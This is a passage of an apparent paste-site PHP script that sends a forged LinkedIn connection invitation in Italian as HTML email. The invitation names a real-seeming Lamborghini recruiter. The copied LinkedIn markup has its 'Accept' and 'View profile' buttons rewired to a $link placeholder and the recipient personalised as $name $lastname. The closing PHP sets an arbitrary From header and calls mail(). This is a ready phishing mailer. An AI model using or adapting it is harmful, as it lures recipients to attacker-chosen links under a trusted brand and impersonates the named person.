href="https://www.linkedin.com/comm/profile/view?id=AAsAAAFKYT8BQbMtHUgfiqdiddhxe3oBPezUOXM&amp;authType=name&amp;authToken=5wtg&amp;midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-hero-3-prof%7Ename&amp;trkEmail=eml-email_m2m_invite_single_01-hero-3-prof%7Ename-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="color:#008cc9;display:inline-block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/profile/view?id%3DAAsAAAFKYT8BQbMtHUgfiqdiddhxe3oBPezUOXM%26authType%3Dname%26authToken%3D5wtg%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-hero-3-prof%257Ename%26trkEmail%3Deml-email_m2m_invite_single_01-hero-3-prof%257Ename-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHk1T3T4nLyus4iRq_Yv_gF71Yz5g"> <span style="word-wrap:break-word;color:#262626;word-break:break-word;font-weight:700;font-size:16px;line-height:1.5"><span class="il">Ruggero</span> <span class="il">Vertelli</span></span></a> <p style="margin:0;word-wrap:break-word;color:#737373;word-break:break-word;font-weight:400;font-size:14px;line-height:1.429">Addetto selezione personale</p> <p style="margin:0;color:#737373;font-weight:400;font-size:14px;line-height:1.429">Automobili Lamborghini s.p.a</p></td> </tr> <tr> <td dir="rtl" align="left" style="direction:rtl!important;text-align:left!important"> <span id="m_-7165744243048519107qatest-cta-accept" style="display:inline-block;margin-top:12px"> <table border="0" cellpadding="0" cellspacing="0" style="display:inline-block"> <tbody> <tr> <td align="center" valign="middle"><a href="https://www.linkedin.com/comm/people/invite-accept?sharedKey=IQODB9Gi&amp;fr=false&amp;invitationId=6256939704420167680&amp;fe=true&amp;midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-hero-0-accept%7Ecta&amp;trkEmail=eml-email_m2m_invite_single_01-hero-0-accept%7Ecta-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="word-wrap:normal;color:#008cc9;word-break:normal;white-space:nowrap;display:block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/people/invite-accept?sharedKey%3DIQODB9Gi%26fr%3Dfalse%26invitationId%3D6256939704420167680%26fe%3Dtrue%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-hero-0-accept%257Ecta%26trkEmail%3Deml-email_m2m_invite_single_01-hero-0-accept%257Ecta-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNEqyVaDYpZzNwlCDnQlgzTNk2ckxQ"> <table border="0" cellspacing="0" cellpadding="0" width="auto"> <tbody> <tr> <td bgcolor="#008CC9" style="padding:6px 16px;color:#ffffff;font-weight:500;font-size:16px;border-color:#008cc9;background-color:#008cc9;border-radius:2px;border-width:1px;border-style:solid"><a href="$link" style="color:#ffffff;display:inline-block;text-decoration:none" target="_blank" >Accetta</a></td> </tr> </tbody> </table></a></td> </tr> </tbody> </table></span> <span id="m_-7165744243048519107qatest-cta-profile" style="display:inline-block;margin-top:12px;margin-right:12px"> <table border="0" cellpadding="0" cellspacing="0" style="display:inline-block"> <tbody> <tr> <td align="center" valign="middle"><a href="https://www.linkedin.com/comm/profile/view?id=AAsAAAFKYT8BQbMtHUgfiqdiddhxe3oBPezUOXM&amp;authType=name&amp;authToken=5wtg&amp;midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-hero-4-prof%7Ecta&amp;trkEmail=eml-email_m2m_invite_single_01-hero-4-prof%7Ecta-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="word-wrap:normal;color:#008cc9;word-break:normal;white-space:nowrap;display:block;text-decoration:none" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/profile/view?id%3DAAsAAAFKYT8BQbMtHUgfiqdiddhxe3oBPezUOXM%26authType%3Dname%26authToken%3D5wtg%26midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-hero-4-prof%257Ecta%26trkEmail%3Deml-email_m2m_invite_single_01-hero-4-prof%257Ecta-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNFC4HmXYE2rU3jzHgx3pDNGdfUEng"> <table border="0" cellspacing="0" cellpadding="0" width="auto"> <tbody> <tr> <td style="border-radius:2px;padding:6px 16px;color:#4c4c4c;font-weight:500;font-size:16px;border-color:#737373;border-width:1px;border-style:solid"><a href="$link" style="color:#4c4c4c;display:inline-block;text-decoration:none" target="_blank">Visualizza profilo</a></td> </tr> </tbody> </table></a></td> </tr> </tbody> </table></span> </td> </tr> </tbody> </table></td> </tr> </tbody> </table></td> </tr> </tbody> </table></td> </tr> </tbody> </table></td> </tr> <tr> <td> <table border="0" cellspacing="0" cellpadding="0" width="100%" bgcolor="#EDF0F3" align="center" style="background-color:#edf0f3;padding:0 24px;color:#999999;text-align:center"> <tbody> <tr> <td align="center" style="padding:16px 0 0 0;text-align:center"> <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td valign="middle" align="center" style="padding:0 0 16px 0;vertical-align:middle;text-align:center"><a href="https://www.linkedin.com/e/v2?e=8ekjk5-j1b6c0e2-7i&amp;a=nsettings-loid-email-unsubscribe-router&amp;midToken=AQFgGc3yx7QHXw&amp;ek=email_m2m_invite_single_01&amp;li=16&amp;m=unsub&amp;ts=unsub&amp;loid=AQFuKNsUeoAGGAAAAVtUhTDHZNqny8ReZ2XcMlaKHIQtyqxmIVsHCIgFp5dHFZP3mA1RYcR7H_IJ8wTphEWvYkFlPxUN&amp;eid=8ekjk5-j1b6c0e2-7i" style="color:#737373;text-decoration:underline;display:inline-block" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/e/v2?e%3D8ekjk5-j1b6c0e2-7i%26a%3Dnsettings-loid-email-unsubscribe-router%26midToken%3DAQFgGc3yx7QHXw%26ek%3Demail_m2m_invite_single_01%26li%3D16%26m%3Dunsub%26ts%3Dunsub%26loid%3DAQFuKNsUeoAGGAAAAVtUhTDHZNqny8ReZ2XcMlaKHIQtyqxmIVsHCIgFp5dHFZP3mA1RYcR7H_IJ8wTphEWvYkFlPxUN%26eid%3D8ekjk5-j1b6c0e2-7i&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNEu-KlSXUZ2SYTPCq1XCUWFOVUk3Q"> <span style="color:#737373;font-weight:400;text-decoration:underline;font-size:12px;line-height:1.333">Annulla l’iscrizione</span></a>&nbsp;&nbsp;|&nbsp;&nbsp;<a href="https://www.linkedin.com/e/v2?e=8ekjk5-j1b6c0e2-7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D&amp;a=customerServiceUrl&amp;midToken=AQFgGc3yx7QHXw&amp;ek=email_m2m_invite_single_01&amp;li=15&amp;m=footer&amp;ts=help&amp;articleId=67" style="color:#737373;text-decoration:underline;display:inline-block" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/e/v2?e%3D8ekjk5-j1b6c0e2-7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D%26a%3DcustomerServiceUrl%26midToken%3DAQFgGc3yx7QHXw%26ek%3Demail_m2m_invite_single_01%26li%3D15%26m%3Dfooter%26ts%3Dhelp%26articleId%3D67&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHTi51JpAiB1IjLCvgBvSPAnZuJKg"> <span style="color:#737373;font-weight:400;text-decoration:underline;font-size:12px;line-height:1.333">Guida</span></a></td> </tr> </tbody> </table></td> </tr> <tr> <td> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tbody> <tr> <td align="center" style="padding:0 0 12px 0;text-align:center"> <p style="margin:0;color:#737373;font-weight:400;font-size:12px;line-height:1.333">Tipo di email che stai ricevendo: Invito.</p></td> </tr> <tr> <td align="center" style="padding:0 0 12px 0;text-align:center"> <p style="margin:0;word-wrap:break-word;color:#737373;word-break:break-word;font-weight:400;font-size:12px;line-height:1.333">Il destinatario di questa email è $name $lastname <a href="https://www.linkedin.com/e/v2?e=8ekjk5-j1b6c0e2-7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D&amp;a=customerServiceUrl&amp;midToken=AQFgGc3yx7QHXw&amp;ek=email_m2m_invite_single_01&amp;articleId=4788" style="color:#737373;text-decoration:underline;display:inline-block" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/e/v2?e%3D8ekjk5-j1b6c0e2-7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D%26a%3DcustomerServiceUrl%26midToken%3DAQFgGc3yx7QHXw%26ek%3Demail_m2m_invite_single_01%26articleId%3D4788&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNGVfSjc7W9Dd3FvjtczADv-u_-URQ">Scopri perché abbiamo incluso queste informazioni.</a></p></td> </tr> <tr> <td align="center" style="padding:0 0 8px 0;text-align:center"><a href="https://www.linkedin.com/comm/nhome/?midToken=AQFgGc3yx7QHXw&amp;trk=eml-email_m2m_invite_single_01-footer-13-home&amp;trkEmail=eml-email_m2m_invite_single_01-footer-13-home-null-8ekjk5%7Ej1b6c0e2%7E7i&amp;lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BJql0n27BS1aTPvnNtu54PQ%3D%3D" style="color:#737373;text-decoration:underline;display:inline-block" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=it&amp;q=https://www.linkedin.com/comm/nhome/?midToken%3DAQFgGc3yx7QHXw%26trk%3Deml-email_m2m_invite_single_01-footer-13-home%26trkEmail%3Deml-email_m2m_invite_single_01-footer-13-home-null-8ekjk5%257Ej1b6c0e2%257E7i%26lipi%3Durn%253Ali%253Apage%253Aemail_email_m2m_invite_single_01%253BJql0n27BS1aTPvnNtu54PQ%253D%253D&amp;source=gmail&amp;ust=1509553863856000&amp;usg=AFQjCNHsHYvs3vjPykYUAdeOFnqxL_qDBw"><img alt="LinkedIn" border="0" height="14" src="https://ci3.googleusercontent.com/proxy/_vGiq1id9xAsRUtZPamNuOBhctilGDplJvKTQSvFRtC8FfW7zNaU9xWAOsjQzUd-oL4jIkjc1L3GEMYk5FV9f1yJf7JQr1xzrWt46srndpONLL4QJPWwxPG3zeDM4DGewwLLoSNkt7PJ3ET8KQZURZ1fCY3zTZm13Vr4N3Dr=s0-d-e1-ft#https://static.licdn.com/scds/common/u/images/email/phoenix/logos/logo_phoenix_footer_gray_197x48_v1.png" width="58" style="outline:none;color:#ffffff;display:block;text-decoration:none" class="CToWUd"></a></td> </tr> <tr> <td align="center" style="padding:0 0 12px 0;text-align:center"> <p style="margin:0;color:#737373;font-weight:400;font-size:12px;line-height:1.333">© 2017 LinkedIn Ireland Unlimited Company, Wilton Plaza, Wilton Place, Dublin 2. LinkedIn è una ragione sociale registrata di LinkedIn Ireland Unlimited Company. LinkedIn e il logo LinkedIn sono marchi registrati di LinkedIn.</p></td> </tr> </tbody> </table></td> </tr> </tbody> </table></td> </tr> </tbody> </table> </center></td> </tr> </tbody> </table> <img src="https://ci6.googleusercontent.com/proxy/flf9kLPeq0Pd_Xk6PMwkPeyhx3vVvgMiYNeOvt0UuGQh-fFQRMH2ExVvkkoDWDahG4ftuQ9VrVwnk4UIFn_ml4hyb-6cNxmFsa0NB-NNmBkmsUJa4IxLTcpwmJaNEzMtCe0RYms28mLi1YDhKPrKNt6i-ZnpGn9OOBz7CD5AjB4UBVNQY8mAsbRu6wUecxA=s0-d-e1-ft#http://www.linkedin.com/emimp/ip_T0dWcmFtczFMV294WWpaak1HVXlMVGRwOlpXMWhhV3hmYlRKdFgybHVkbWwwWlY5emFXNW5iR1ZmTURFPTo=.gif" style="outline:none;color:#ffffff;text-decoration:none;width:1px;height:1px" class="CToWUd"><div class="yj6qo"></div><div class="adL"> </div></div><div class="adL"> </div></div></div>
  446.  
  447.  
  448. HTML;
  449.  
  450. $mail_headers = "From: " . $nome_mittente . " <" . $mail_mittente . ">\r\n";
  451. $mail_headers .= "Reply-To: " . $mail_mittente . "\r\n";
  452. $mail_headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
  453.  
  454. $mail_headers .= "MIME-Version: 1.0\r\n";
  455. $mail_headers .= "Content-type: text/html; charset=iso-8859-1";
  456.  
  457. if (mail($mail_destinatario, $mail_oggetto, $mail_corpo, $mail_headers))
  458. echo "&#10;Email sent correctly to --> " . $mail_destinatario . " <-- from :" . $mail_mittente;
  459. else
  460. echo "Error, no message sent, try again";
  461. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement